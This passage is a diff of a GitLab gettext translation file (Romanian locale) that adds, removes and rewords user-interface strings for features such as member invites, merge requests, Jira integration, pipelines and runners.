msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18982,24 +19336,21 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr "Colaborați pe probleme și cereri de îmbinare deschise"
-
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr "Configurați CI/CD"
-
-msgid "InviteMembersModal|Configure security features"
-msgstr "Configurați funcțiile de securitate"
-
-msgid "InviteMembersModal|Contribute to the codebase"
-msgstr "Contribuiți la baza de cod"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
+msgstr ""
msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
+msgid "InviteMembersModal|GitLab is better with colleagues!"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
+msgstr ""
+
msgid "InviteMembersModal|Invite"
msgstr ""
@@ -19012,9 +19363,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr "Altele"
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19033,9 +19381,6 @@ msgstr "Ceva nu a mers bine"
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr "Pe ce ați vrea să se concentreze membri noi? (opțional)"
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19222,6 +19567,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19297,6 +19645,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19354,16 +19705,13 @@ msgstr ""
msgid "Issues"
msgstr "Probleme"
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19372,9 +19720,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19468,6 +19813,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19477,6 +19825,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19573,9 +19924,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19600,9 +19957,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19711,18 +20065,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19741,18 +20086,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19762,6 +20101,9 @@ msgstr "Comentariile Jira sunt create atunci când se face referire la o problem
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19771,12 +20113,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19807,9 +20143,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20107,6 +20440,9 @@ msgstr ""
msgid "Ki"
msgstr "Ki"
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20452,7 +20788,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20557,6 +20893,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20602,6 +20941,9 @@ msgstr ""
msgid "License Compliance"
msgstr "Conformitatea licenței"
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20746,9 +21088,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20776,13 +21115,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20800,6 +21139,9 @@ msgstr "Limitați numărul de alerte de gestionare a incidentelor de intrare ce
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr "Limitați numărul de probleme și epice pe care un utilizator le poate crea prin cereri API și web pe minut."
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21016,7 +21358,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21097,7 +21439,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21310,6 +21652,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21328,6 +21673,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21535,9 +21883,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr "V-am invitat să vă alăturați mie în GitLab"
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21700,6 +22045,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr "Îmbinare blocată: tocmai au fost adăugate modificări noi."
@@ -21715,6 +22066,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21760,22 +22114,13 @@ msgstr ""
msgid "Merge requests"
msgstr "Merge request-uri"
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21895,6 +22240,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22534,6 +22891,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22786,9 +23146,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22939,9 +23296,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22966,6 +23320,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23170,6 +23527,9 @@ msgstr "Merge request nou"
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23206,6 +23566,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23401,6 +23764,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23449,9 +23815,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23494,6 +23866,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23515,6 +23890,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr "Nicio severitate nu corespunde parametrului furnizat"
@@ -23611,6 +23989,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23830,7 +24211,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23986,7 +24367,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24070,6 +24451,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr "Programul dvs. a fost creat cu succes. Pentru a adăuga utilizatori individuali la acest program, utilizați butonul Adăugați o rotație. Pentru a activa notificări pentru acest program, trebuie să creați și o %{linkStart}politică de escaladare%{linkEnd}."
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24160,20 +24547,20 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
-msgstr "După ce un proiect este șters permanent, nu mai poate fi recuperat. Veți pierde repozitoriul acestui proiect și toate resursele aferente, incluzând probleme și cereri de îmbinare."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
@@ -24193,6 +24580,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24232,6 +24625,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr "Includeți doar funcții noi pentru nivelul abonamentului dvs. curent"
@@ -24253,6 +24649,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24271,7 +24670,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24511,6 +24910,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24868,6 +25270,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24964,9 +25369,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25219,6 +25621,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr "ID conductă"
@@ -25534,9 +25942,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25666,6 +26071,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25681,9 +26089,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25774,10 +26179,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25918,6 +26323,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25945,9 +26353,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26188,7 +26593,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26470,7 +26875,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26491,13 +26896,13 @@ msgstr "Introduceți parola pentru a confirma modificarea e-mail-ului"
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26539,13 +26944,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26875,9 +27283,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26956,6 +27361,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27223,12 +27631,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27298,6 +27712,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27322,6 +27739,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27343,6 +27763,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr "Mesajul commit utilizat atunci când se aplică sugestii merge request. %{link_start}Aflați mai multe despre sugestii.%{link_end}"
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27547,6 +27973,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27754,6 +28183,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27772,9 +28204,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr "Adăugați webhook-uri grup și GitLab Enterprise Edition."
@@ -28135,6 +28573,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28297,6 +28738,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28411,6 +28855,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28513,9 +28963,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28684,6 +29131,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28711,6 +29161,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28720,6 +29173,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28837,15 +29296,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28861,6 +29320,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28930,6 +29392,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28954,6 +29419,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29137,6 +29605,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29158,6 +29629,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29176,6 +29650,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29254,7 +29731,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29269,6 +29746,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29290,6 +29773,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29329,6 +29815,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29398,6 +29887,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29716,6 +30208,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29770,6 +30265,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr "Executori grup"
@@ -29782,6 +30280,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29803,6 +30304,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29815,12 +30319,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
